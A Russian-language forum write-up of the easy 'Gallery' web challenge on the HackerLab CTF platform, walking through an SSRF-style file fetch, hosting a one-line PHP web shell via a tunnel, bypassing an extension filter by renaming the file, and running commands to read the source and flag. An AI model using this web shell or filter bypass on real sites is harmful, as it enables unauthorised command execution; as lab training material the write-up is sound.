Writeup Web | Галерея | HackerLab

HackerLabGallery.webp

Название: Галерея
Категория: Web
Уровень: Лёгкий
Ссылка на задание: https://hackerlab.pro/categories/web/564aa4b1-6073-448d-8cde-448222ea977c
XP: 300


Вступление

Вообще, я не делаю WriteUp'ы на те задания, которые его уже имеют на платформе. Однако после собственного решения, я решил его прочесть и мне он не очень понравился, нет информации из-за чего новичёк может поставить в тупик, поэтому здесь я очень подробно распишу шаг за шагом.

Reconnaissance

Мы видим сервис, который позволяет просматривать фотографии доступные по ссылке, к гадалке не ходи - здесь SSRF. Давайте попробуем загрузить какую-нибудь случайную картинку ради примера.
1781779968405.webp

Сервис работает, теперь давайте попробуем загрузить туда скрипт на PHP для получения RCE.


Exploitation

Создаём документ на рабочем столе rce.php и вставляем туда простой шелл:
PHP:
<?php
    system($_GET['cmd']);
?>
Теперь, нам нужно его как-нибудь загрузить на хост, чтобы сервис смог его прочитать, вот здесь я напишу о том, о чём не было сказано в официальном writeup. Для публичности нашего эксплойта понадобиться сервис clo от cloudpub. Регистритруемся там, берём токен, скачивает утилиту clo и устанавливаем её.
Распаковка:
Код:
tar -zxfv clo-{VERSION}-stable-linux-x86_64.tar.gz
Установка:
Код:
mv clo /usr/bin
Теперь нам понадобиться python, для того чтобы создать локальный туннель. В директории где лежит наш rce.php запускаем терминал и вызываем python сервер:
Код:
python3 -m http.server 9090
Отлично, теперь если перейти в браузер и написать http://localhost:9090/, то мы попадём в рабочую директорию через браузер.
1781780464539.webp

Теперь переадресуем этот туннель с помощью clo, чтобы он был общедоступным.
Код:
# Не забудьте привязать токен clo set token {TOKEN}
clo publish http 9090
1781780565287.webp

Теперь сервис сможет прочитать наш файл, давайте ему его отправим.
1781780616311.webp

Сервис ругается, что расширение файла недопустимо, видимо там какая-то фильтрация, давайте попробуем изменить имя файла на .png.
1781780684394.webp

Изображение успешно загрузилось, давайте попробуем использовать переменную cmd, которую мы задали ранее. Для удобства перейдём в Burp Suite. Вывод пуст, давайте попробуем изменить на .txt.
1781780894780.webp

Видим, что это помогло. Теперь нам нужно прочитать исходники проекта. Но просто командой cat index.php, мы не обойдёмся, поэтому давайте закодируем это в URL-кодировку.
1781780988051.webp

И вот теперь уже, флаг у нас!
finish.webp
 
  • Огонь
Реакции: Сергей Попов
В дополнение скажу, что я использовал именно clo, т.к с ним нет проблем на территории РФ. Также это работает и с ngrok.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab